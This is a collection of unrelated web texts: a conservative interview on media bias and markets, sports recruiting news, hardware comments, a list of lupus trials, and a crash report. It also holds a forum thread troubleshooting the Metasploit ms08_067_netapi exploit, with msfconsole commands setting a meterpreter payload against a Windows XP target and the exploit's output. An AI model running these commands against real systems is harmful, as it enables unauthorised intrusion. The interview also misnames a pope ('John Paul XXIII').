SHEFFIELD: On that angle it does seem that the elite media seem to have a very systemic bias against people who are of faith and even to a large degree people who may agree with their political orientation. It's pretty rare to see someone like an E.J. Dionne, who is a practicing and believing Catholic and he is devout. But there seem to be very few E.J. Dionnes within the elite media and certainly hardly any conservative religious people in the upper echelons, why is that?
SIRICO: None who speak about their religion as openly. Dionne also kind of curtails, I don't know what he thinks about for instance about some of the social questions. But he certainly is not opposing the line of NPR or the New York Times or the Washington Post on any of these questions. You have a few examples, there's certainly very good devout traditionally conservative people in the media, but they're not known for that. You very often find out about that almost in a backdoor sort of way.
SHEFFIELD: And why do you suppose that is?
SIRICO: Well I think that who people associate with and who you're comfortable associating with is part of it certainly. I think there is also just the nature of journalism is to be skeptical. You don't accept things on the surface, you dig underneath the surface and I think it's a mistake that some journalists make. Maybe when they're going in there, maybe they're predisposition is that everything is to be held suspect, that you don't believe anything definitively.
I think this really gets us to the core of what a lot of the concern is about religious people. It's the claim to truth that mentality, the ethical relativism that is pervasive in the media causes people to think that anyone who claims to know something about truth is automatically a theocrat or referred to as Christian Taliban type folks. I think a lot of that goes into play.
SHEFFIELD: That attitude is remarkably fascinating to me because John Maynard Keynes has famously theorized that we're all slaves of some dead economist somewhere. I think more accurately that we're all slaves of some dead theologian somewhere including the most militant secular leftist.
SIRICO: The other fascinating thing on this topic that I find and NPR is a very good example of it because they are so serenely sure of their position that when you disagree with them on the kind of core things, it's not like it's a disagreement, it's like well it just doesn't exist, and of course it's this way. I honestly don't think they see their own prejudice. You try to get them to do it and they kind of slip around it.
You'd think that these skeptical people who are always asking questions would ask themselves, why are there no Republicans around me? Why are there no conservatives around me? Why are there people who have different views of morality? Why is it all just kind of the Unitarian church and prayer, well maybe not prayer, that I surround myself with?
SHEFFIELD: I think a lot of that is just a function of complete political ignorance. That they're not aware of other ideologies so they themselves don't know what they have is an ideology.
SIRICO: Exactly.
SHEFFIELD: And there was some interesting work, I believe it came out of George Mason a couple of months ago. It was a survey of individuals, divided into liberal and conservative. And they asked the liberals to tell them what the conservatives believed about certain things. And then they asked the conservatives to tell what liberals believed about certain things. And overwhelmingly the conservatives were far more educated and aware about what liberals…
SIRICO: Interesting. That doesn't surprise me at all.
SHEFFIELD: And a lot of that is simply you have many individuals who are never exposed to conservative thought. They can live their entire life without ever coming into contact with one.
SIRICO: Right. I read the New York Times every day. I listen to National Public Radio every day. It's a reference point for me and I guess I go through the exercise of responding to the assumptions. I think I'm a better person for the exercise.
SHEFFIELD: Just to shift into campaign type questions. It appears that the Obama campaign's strategy is going to be to make a core attack on Mitt Romney and say that he represents ideas of the past and heartless capitalism and then they'll also throw in that he's a secret theocrat and whatever. In the past many Republicans and conservatives have had some difficulty trying to respond to such accusations, why do you suppose that is and what would you say to a conservative who might face similar attacks?
SIRICO: The attacks that there is secret theocrats or heartless?
SHEFFIELD: Well that they represent failed thinking that got us into this mess, as Obama frequently says.
SIRICO: On one hand there is a whole history of conservative big government approach and when liberals point to the kind of corporate capitalism, corporate welfare, I think they have a good point. I think that this is regrettable and that conservatives need to learn this lesson that we're inconsistent with our own principles. But that it is the nature of capitalism or the free society to do that is a mistake.
When you compare the individual generosity of people you find then, Arthur Brooks [president of the American Enterprise Institute] who has done a great job documenting this, you find that conservatives tend to give more of themselves financially, time and even blood donations. I think it's an illusion that they're attempting to perpetuate and I think it's an inaccurate one. I don't think the policies are failed, it's kind of like [Christian philosopher G.K.] Chesterton said about Christianity it has been found and tried wanting, it hasn't been tried.
SHEFFIELD: What about the idea of excess profits or the notion that there should be a cap on salaries? That's often a common talking point for liberal media people which is of course delightfully ironic considering many of them are multimillionaires themselves.
SIRICO: Yes. They're just experimenting again with this in France again if you can believe it. It goes back to the question of what is a profit. If you see profits as taking from a static pie, disproportionate parts of the share that you are due then I see the justice concern. If you however see the profit as a measure of accomplishment of what the firm has set out to do, that is to serve, to produce, to make available to people that which they deem subjectively is desirable for them and they're willing to trade their money for. Then it is unethical to penalize people for accomplishing what they're engaging in and achieving justly.
If they achieve that through the kind of government subsidies or corporate welfare mechanisms that I described earlier, then I understand that that's an unjust thing. But I don't think it's the ceiling that we need to be focused on neither do I think it's the gap between people who have a great deal and people who have less. The gap is not the moral concern, the ceiling is not the moral concern, I have no concern that Bill Gates has multiple more money available to him than Warren Buffett. The concern is before, how are the most economically vulnerable able to fare in society.
If you appeal to simply the fact that some people have more than others, then you're appealing to envy. I think that's, it's one of the seven deadly sins. If you're saying we're concerned about the most vulnerable, how are they doing? Then I think the answer to that question is to look at the free economy and see what it's done for people throughout the world. The most remarkable rise from destitution has taken place in the last 150- 200 years not because of government to government aide or charitable organizations, as important as they are. But through the globalizing of markets, people have access to jobs and I think that if your concern is really the poor instead of envy, I think that's where you need to look.
SHEFFIELD: Your book is an effort to provide a religious response to the free market. Some people have tried to provide a sort of secular conservative approach. I myself am an agnostic, it does seem so me that sometimes a lot of conservatives are not as appreciative of attempts delineate a secular teleology say for instance of rights.
SIRICO: While you were formulating your question you said that I attempt to give a religious defense of the market, I was going to interrupt you and say you know while my book does offer a religious theological defense it's primarily a natural law defense. And I would think, if you've read the book you can tell me. Does it seem narrowly sectarian the argument that I'm making or do you think that your teleology is expressed in this book? Leaving aside any biblical references or specifically theological arguments.
SHEFFIELD: I agree that you are going for a natural law orientation. But it seems many conservatives have an issue with where does natural law come from? And I'm not saying you do. Sometimes it seems that you have many people who are very insistent that anyone who does not believe that rights necessarily come from God, or that various moral imperatives are because of God…
SIRICO: I think that is a less sophisticated view of what a Christian can hold. Obviously I believe in God, I believe that the order of the universe is ordained by God and that's why I believe natural law reflects the intentionality of the creator. But having said that, if you're in the middle of this reality and you begin not with God, but with the world I think that's a good place to begin. I'd like to talk you back to its origin but that's a separate question.
SHEFFIELD: It is, yes.
SIRICO: I think there's a whole lot we can agree on.
SHEFFIELD: I do agree with that and that's why the natural law approach, I think conservatism can develop from that entirely independent of where one believes that law came from.
SIRICO: Right. And I'll tell you; I'm not comfortable with a kind of simplistic approach that a number of people have where we're going to establish what our national fiscal policy is based on this and that and the other scripture. I don't think the Bible is an economic textbook or scientific textbook. I think it speaks the truth but I don't think it intended to speak everything. You know if you want to study geometry, go elsewhere. I think for some Christians coming to these questions is a new enterprise. I think it's in need of maturation, the Catholic Church has been thinking about these questions for two thousand years. So I think we bring something of the tradition with us.
SHEFFIELD: Yeah, I would agree with that. My personal perspective is that one's teleological beliefs can be completely divorced from--why you believe what you believe isn't necessarily important to what you believe in terms of operating within a political society.
SIRICO: At some point it would be.
SHEFFIELD: Yeah it can be.
SIRICO: To construct a free society I don't think it necessarily has to come up at every turn. I don't want to let it go philosophically because I think those are important questions.
SHEFFIELD: Yeah, I guess I'm raising because to a degree there definitely is a tension between people who..they're not content to let people believe what they wish even if they agree with them on everything in terms of politics.
SIRICO: No it's true. Christians like to corner people, new converts. They have this great zeal that is off-putting. Clare Booth Luce who is the writer and was a congresswoman and was eventually appointed the United States Ambassador to Italy. And a new convert to the Catholic Church was in an audience with Pope John Paul XXIII and she was so exuberant about her Catholic faith as she was talking to John XXII, finally the pope stopped her and said "Yes, Yes Ms. Luce I understand but I am already a Catholic." It's true people get zealous but you find this in anything right?
SHEFFIELD: Yes. And I was going to say similar attitudes exists among people who are secular oriented in that people who have a secular orientation don't think that because there are people who have a religious belief in the free market, you know that they believe in it for religious reasons, that they must not therefore be associated with that sort of opinion.
SIRICO: Right. No I think we need to be much more ecumenical in our conversations with each other.
SHEFFIELD: Yeah, I definitely would agree with that. Just one final question, I appreciate you joining me today. You write several times about the word "greed." You make a distinction which I think many liberals do not appreciate or do not even contemplate, in terms of what that means.
SIRICO: The root of the word greed is desire and our common use of the word greed we mean by that a disordered desire. So it's out of proportion to other desires and things that are disproportionate can be destructive. I think that is the case with greed, that it is intrinsic to the market, a moment's reflection tells you that it's not because you can be as poor as anything and be greedy.
You may be more materialistic precisely because you don't have a lot of stuff. Beyond that I think the other thing that people forget about greed is that it's not tied to material things. One can have an inordinate desire for status, for reputation, for prestige, so that greed is not the unique creature of a market society. When we see it in a broader context, we understand it better. The argument of Gordon Gecko in Wall Street becomes less cogent, less telling, greed is not good. The problem is that because it can infect the human heart, including the hearts of politicians and bureaucrats. You end up getting more socialized greed in state dominated economies.
SHEFFIELD: Expand on that a little bit.
SIRICO: Well, what I mean is if you run into a greedy politician and he controls the political process or a bureaucrat who doesn't even need to control a lot, he just controls his ability to give you the license to build or export or whatever it happens to be. That greed in that heart it can't even be countered, whereas at least in a market it can be competed with. Remember that in the market, even if a person is greedy which is not good, none the less in a free market that greed is subordinated to the consumer. So that if I want to get rich producing "X" product, I have to produce it well, effectively with quality and at the price and the packaging and the color that the consumer wants, because the consumer is the one who determines all those things, not the greedy capitalists. It's interesting to see how the market subordinates even greed. Again, that does not exonerate the person who is greedy from a moral perspective, but at least it puts their greed to some social use.
SHEFFIELD: I think you would draw the distinction that what many liberals might say is greed is just the pursuit of self-interest.
SIRICO: Yes. The desire to live better, surely liberals are not exempt from that. I mean, don't we want that for our children, don't we want that for the poor?
SHEFFIELD: Given the number of millionaire Hollywood liberals there are out there, they certainly are--
SIRICO: I once told a friend of mine, the thing I love most about limousine liberals is not just their limousines it's their swimming pools.
SHEFFIELD: All right. Well, I appreciate you joining us today.
SIRICO: Thank you so much. Really good to talk to you.


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Monday, October 07, 2013 - 15:06 PM
A Video For Every Cymbal
Here is a great new feature on which we have been working on for some time now. I am glad I can finally announce the news.
We have recorded a short video for every single cymbal which is in our current assortment and have now started to upload all of them on our website. On every cymbal introduction page you can now listen to its respective video. Just use our 'Cymbal Finder' to search for your favourite cymbal and as an additional feature, you can now see and hear it in the video right there on the same page.
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Searching for a few good men to complete its 2013 recruiting class, the LSU Tigers will finally apparently draw a visit from one of the nation's best: safety Tahaan Goodman.
The four-star prospect from Rancho Cucamonga, Calif., less than an hour east of Los Angeles Cathedral, where LSU commitment Hayden Rettig played, tweeted Sunday that he will take an official visit to LSU this coming weekend.
Goodman (6-foot-2, 184 pounds) was returning from an official visit to Oklahoma.
Southern Cal is considered the frontrunner for his signature, but Goodman is also strongly considering UCLA.
An elite prospect across the board, Goodman is ranked No. 46 nationally by 24/7 Sports, No. 49 by Rivals, No. 63 by Scout and No. 108 by ESPN. He is friends with another top LSU target, safety Priest Willis (6-2, 199) of Tempe, Ariz.
Rivals reported Auburn commitment Tashawn Bower (6-5, 241), a defensive end from Somerville (N.J.) Immaculata, will visit LSU the weekend of Jan. 25. Bower is No. 129 on the 24/7 Sports Top 247, No. 132 on the ESPN 150 and No. 182 on the Scout 300.
Elsewhere, Patterson tight end Deondre Skinner (6-3, 220) committed Sunday to Houston after decommitting from Arkansas earlier in the month.
Coaches may have full contact with prospects now through Feb. 3.
Coaches may have no contact with prospects from Feb. 4-7, bracketing the start of the national signing period on Wednesday, Feb. 6.
A number of 2013 LSU commitments are expected to be on campus Monday to enroll for spring semester classes: quarterback Anthony Jennings (6-3, 205) of Marietta, Ga.; offensive tackle Ethan Pocic (6-6, 285) of Lemont, Ill.; Monroe Neville athlete John Diarse (6-0, 210); Lincoln, Neb., Southwest defensive tackle Christian LaCouture (6-5, 267); College of San Mateo (Calif.) offensive tackle Fehoko Fanaika (6-6, 340); and tight end Logan Stokes (6-6, 240), a signee from Northeast Mississippi Community College.
Rettig (6-3, 205) tweeted that he will not begin classes until Tuesday, a minor paperwork issue the culprit.
Wide receiver Avery Johnson (6-2, 180), a native of Pompano Beach, Fla., who prepped at Hargrave (Va.) Military, tweeted Sunday "BR I'm coming now" after earlier questions about whether his test score would be approved.
With the first of 2013's players set to arrive, LSU continued to press ahead with building its 2014 class.
The Tigers hosted nearly 20 high-profile in-state prospects Saturday for its annual "Boys from the Boot" recruiting event.
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A pair of four-star prospects, Washington and Clapp are LSU's first from in state for 2014 and give the Tigers four overall.


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The course will cover the most important issues of Russian-Jewish coexistence and will focus on the cultural, linguistic and ideological transformation of Russian Jews in the late 19th and 20th centuries, from pious Yiddish-speaking shtetl dwellers to secular Russian-speaking urbanites. Literary works of major 19th- and 20th-century Russian writers, and guest lectures on art, religion, history and political history, will provide the primary material for discussion.
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DigitalFreak - Tuesday, January 10, 2012 - linkDip switches? Seriously? What is this, 1985? Reply
Mr Perfect - Wednesday, January 11, 2012 - linkI was just laughing about that myself. Reply
BlindZenDriver - Friday, January 13, 2012 - linkActually makes good sense.
It's compact, cheap and you can read the settings from the position of the switches(with a reference card on the side).
What would you like instead. One button to scroll through settings and a display or maybe an USB connection you hook up to a computer which may not be able to have it's images displayed on the monitors until the setting is right?
Most likely the user will only ever make a setting once in the products life so something elaborate would be a waste. Reply
Zandros - Tuesday, January 10, 2012 - linkSo still no MST hubs then, let's stick with hack solutions? Reply
Ryan Smith - Tuesday, January 10, 2012 - linkMST Hubs won't be available until the summer, going by AMD's latest estimate. Reply
Zandros - Tuesday, January 10, 2012 - linkI know, but there's a lot of stuff being shown on CES that won't be available until summer, no? Reply
sticks435 - Tuesday, January 10, 2012 - linkConsidering the ex EpoX/EVGA team is now at Sapphire. Reply
MySchizoBuddy - Tuesday, January 10, 2012 - linkSo how many of those 6 PCI-E are x16? Can all of them be run at x16 or not. If not is there a motherboard that allows this. Reply
sticks435 - Wednesday, January 11, 2012 - linkProbably just the normal single slot. There isn't enough PCI-E lanes do to more than that. I'm not even sure if the X79 boards can have all 6 at x16. I think 4 is the limit there, unless you get into the SR-X. Reply
JarredWalton - Wednesday, January 11, 2012 - linkThe X79 motherboard also has an NF200 chipset on there (for SLI support), so you get the 40 lanes from the CPU, 16 go to the NF200 and 32 come out, for a total of 56 PCIe lanes. I asked about the lane allocations and the guy at Sapphire said that he thought it was x16, x8, x16, x4, x8, x4 or something similar. Obviously, you can't get x16 connections to all six slots at the same time without 96 total PCIe lanes, but more than that I can't really say. Reply
sticks435 - Wednesday, January 11, 2012 - linkYea, if you look on the AMD board, even though you can't make out the letters very well, you can kind of see what looks like x16/x8 in the first and third slot. I would think X79 would have something similar. Reply


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It sounds really obvious, but I will ask it anyway:
Did you set your target
I tried the ms08_067_netapi>>reverse_tcp on an XP SP2 English NX box from BackTrack4... It said exploit executed successfully but no session was created and that is all i got!
Used command-line as well as gui several times but no use.
So how do i go about it to test access to the XP box from backtrack4?
It sounds really obvious, but I will ask it anyway:
Did you set your target
Still not underestimating the power...
There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.
ohh yes I did put in the target...
ohh yes I did put in the target...
i did "set RHOST 188.8.131.52" and ">>set TARGET 0"
this is something like it was:[*] Selected Target: Windows XP SP2 English (NX)[*] Triggering the vulnerability [*] Exploit completed, but no session was created.
what does this mean?
Which payload are you using? Can you post all the commands you're using in msfconsole?
i havent patched that XP SP2 or nethng...its a plain simple installation of xp sp2..
these were the commands as far as i remember for bind_tcp..also used reverse_tcp but every time exploit executed successfully but no session is created
Code:>> use windows/smb/ms08_067_netapi >> set RHOST 22.214.171.124 RHOST => 184.108.40.206 >> set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp >> set TARGET 0 TARGET => 0 >> exploit
ohh i tried it on a local machine too!
from 10.0.2.3 to 10.0.2.4
same issue!!
no session created!
i did set the LHOST (in case it was reqd)
check this out....looks similar to my problem..hope this explains..
msf exploit(ms08_067_netapi) > exploit
[*] Handler binding to LHOST 10.10.10.19[*] Started reverse handler[*] Automatically detecting the target...[*] Fingerprint: Windows 2000 Service Pack 0 - 4 - lang:English[*] Selected Target: Windows 2000 Universal[*] Triggering the vulnerability...[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[-] Exploit failed: DCERPC FAULT => 0xc00000fd[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) >
this is what happens... NO SESSION WAS CREATED...


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See the latest in results of clinical trials as they are reported in medical journals on the U.S. National Library of Medicine's vast database of biomedical articles (PubMed). Some interesting ones from recent months include:
Anthera Updates Phase 3 Plans Following Results from the Phase 2b PEARL-SC Dose Ranging Study of Blisibimod
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Evaluation of Lenalidomide (REVLIMID®) to Treat Subjects With Cutaneous Lupus Erythematosus (CLE)
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Blisibimod, an Inhibitor of B cell Activating Factor, in Patients with Moderate-to-Severe Systemic Lupus Erythematosus
Poster Presentation at 2012 Annual Scientific Meeting of the American College of Rheumatology and the Association of Rheumatology Health Professionals (ACR/ARHP)
Belimumab reduces autoantibodies, normalizes low complement levels, and reduces select B cell populations in patients with systemic lupus erythematosus
Arthritis & Rheumatism Volume 64, Issue 7, pages 2328–2337, July 2012
Mycophenolate as Induction Therapy in Lupus Nephritis with Renal Function Impairment
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Efficacy and safety of rituximab in patients with active proliferative lupus nephritis: The lupus nephritis assessment with rituximab (LUNAR) study.
Arthritis Rheum. 2012 Jan 9. doi: 10.1002/art.34359. [Epub ahead of print]
Use of atorvastatin in systemic lupus erythematosus in children and adolescents.
Arthritis Rheum. 2012 Jan;64(1):285-96. doi: 10.1002/art.30645.
Pioglitazone improves the cardiovascular profile in patients with uncomplicated systemic lupus erythematosus: a double-blind randomized clinical trial.
Lupus 2012;21(1):27-35. Epub 2011 Oct 12.
Patients with systemic lupus erythematosus, myositis, rheumatoid arthritis and scleroderma share activation of a common type I interferon pathway.
Ann Rheum Dis. 2011 Nov;70(11):2029-36. Epub 2011 Jul 28.
Patients with systemic lupus erythematosus, myositis, rheumatoid arthritis and scleroderma share activation of a common type I interferon pathway.
Ann Rheum Dis. 2011 Nov;70(11):2029-36. Epub 2011 Jul 28.
Safety profile and clinical activity of sifalimumab, a fully human anti-interferon α monoclonal antibody, in systemic lupus erythematosus: a phase I, multicentre, double-blind randomised study.
Ann Rheum Dis. 2011 Nov;70(11):1905-13. Epub 2011 Jul 27.
Memantine in systemic lupus erythematosus: a randomized, double-blind placebo-controlled trial.
Semin Arthritis Rheum. 2011 Oct;41(2):194-202. Epub 2011 Apr 1.
Pharmacokinetics, pharmacodynamics and safety of a human anti-IL-6 monoclonal antibody (sirukumab) in healthy subjects in a first-in-human study.
Br J Clin Pharmacol. 2011 Aug;72(2):270-81. doi: 10.1111/j.1365-2125.2011.03964.x.
Scleroderma overlap syndrome
Isr Med Assoc J. 2011 Jan;13(1):14-20.
Efficacy and safety of tacrolimus therapy for lupus nephritis: a systematic review of clinical trials.
Lupus. 2011 Mar 7.
Treatment of active lupus nephritis with the novel immunosuppressant 15-deoxyspergualin: an open-label dose escalation study.
Arthritis Res Ther. 2011 Mar 1;13(2):R36.
Targeted therapies in systemic lupus erythematosus: successes, failures and future.
Hahn BH.
Ann Rheum Dis. 2011 Mar;70 Suppl 1:i64-i66. Review.
The genetics of systemic lupus erythematosus and implications for targeted therapy.
Ann Rheum Dis. 2011 Mar;70 Suppl 1:i37-43. Review.
Targeting BLyS in rheumatic disease: the sometimes-bumpy road from bench to bedside.
Curr Opin Rheumatol. 2011 May;23(3):305-10.
Systematic review and meta-analysis of immunosuppressant therapy clinical trials in membranous lupus nephritis.
J Investig Med. 2011 Feb;59(2):246-58.
Type I interferon in organ-targeted autoimmune and inflammatory diseases.
Arthritis Res Ther. 2010;12 Suppl 1:S5. Epub 2010 Aug 25.
Antiphospholipid Syndrome Clinical Research Task Force report.
Lupus. 2011 Feb;20(2):219-24.
Report of the Obstetric APS Task Force: 13th International Congress on Antiphospholipid Antibodies, 13th April 2010.
Lupus. 2011 Feb;20(2):158-64.
Novel treatments for systemic lupus erythematosus.
Curr Opin Investig Drugs. 2010 Nov;11(11):1256-64.
International consensus for a definition of disease flare in lupus.
Lupus. 2010 Dec 10.
B cell depletion for autoimmune diseases in paediatric patients.
Clin Rheumatol. 2011 Jan;30(1):87-97.
Primary thrombosis prophylaxis in antiphospholipid antibody-positive patients: where do we stand?
Curr Rheumatol Rep. 2011 Feb;13(1):59-69.
Belimumab: a BLyS-specific inhibitor for systemic lupus erythematosus.
Ann Pharmacother. 2010 Dec;44(12):1955-61.
Updates on the treatment of lupus nephritis.
J Am Soc Nephrol. 2010 Dec;21(12):2028-35. Epub 2010 Nov 4. Review.
Drug Monitoring in Systemic Lupus Erythematosus: A Systematic Review.
Semin Arthritis Rheum. 2010 Oct 26. [Epub ahead of print]
Trials and tribulations in systemic lupus erythematosus.
Bull NYU Hosp Jt Dis. 2010;68(3):175-8. Review.
Alternative therapies: what role do they have in the management of lupus?
Lupus. 2010;19(12):1425-9. Review.
Accelerated atherosclerosis in systemic lupus erythematosus: role of proinflammatory cytokines and therapeutic approaches.
J Biomed Biotechnol. 2010;2010. pii: 607084. Epub 2010 Sep 26. Review.
Targeting B cells with biologics in systemic lupus erythematosus.
Expert Opin Biol Ther. 2010 Nov;10(11):1555-61. Epub 2010 Oct 4. Review.
Effects of community-deliverable exercise on pain and physical function in adults with arthritis and other rheumatic diseases: a meta-analysis.
Arthritis Care Res (Hoboken). 2011 Jan;63(1):79-93. doi: 10.1002/acr.20347.
B-cell targeted therapies in human autoimmune diseases: an updated perspective.
Immunol Rev. 2010 Sep;237(1):264-83. Review.
Clinical outcome measures for cutaneous lupus erythematosus.
Lupus. 2010 Aug;19(9):1137-43. Review.
Treatment of cutaneous lupus erythematosus.
Lupus. 2010 Aug;19(9):1125-36. Review.
Fatigue in systemic lupus erythematosus and rheumatoid arthritis.
PM R. 2010 May;2(5):384-92. Review.
Efficacy and adverse events of mycophenolate mofetil versus cyclophosphamide for induction therapy of lupus nephritis: systematic review and meta-analysis.
Medicine (Baltimore). 2010 Jul;89(4):227-35. Review.
Reporting of corticosteroid use in systemic disease trials: evidence from a systematic review of the potential impact on treatment effect.
Arthritis Care Res (Hoboken). 2010 Jul;62(7):1002-8. Review.
Danazol in the treatment of systemic lupus erythematosus: a qualitative systematic review.
Semin Arthritis Rheum. 2011 Feb;40(4):298-306. Epub 2010 Jun 11.
Or search the database yourself—it's pretty easy. Enter "lupus trial" in the Search bar.
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This information does not represent a Lupus Research Institute endorsement of any listed study. It is merely a notice that the study is available. If you are presently under the care of a physician for lupus or other conditions, you should not disrupt your current program without discussing it with your doctor(s). Do not contact the Lupus Research Institute for information on these studies. Only contact the listed numbers. The Lupus Research Institute does not have any jurisdiction over or further involvement with these studies, other than to make people aware that they are being conducted.


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ABOUT 50 passengers have managed to escape serious injury after a coach overturned on the M5 in Gloucestershire.
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All traffic that was trapped between the junctions has now been cleared and the Highways Agency is working with the emergency services to reopen the road as soon as possible.
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One child was being taken to Bristol Children's Hospital and five adults were being taken to Southmead, all with minor injuries.
South Western Ambulance Service (SWAS), which previously said there were seven casualties, said the six included four walking wounded.
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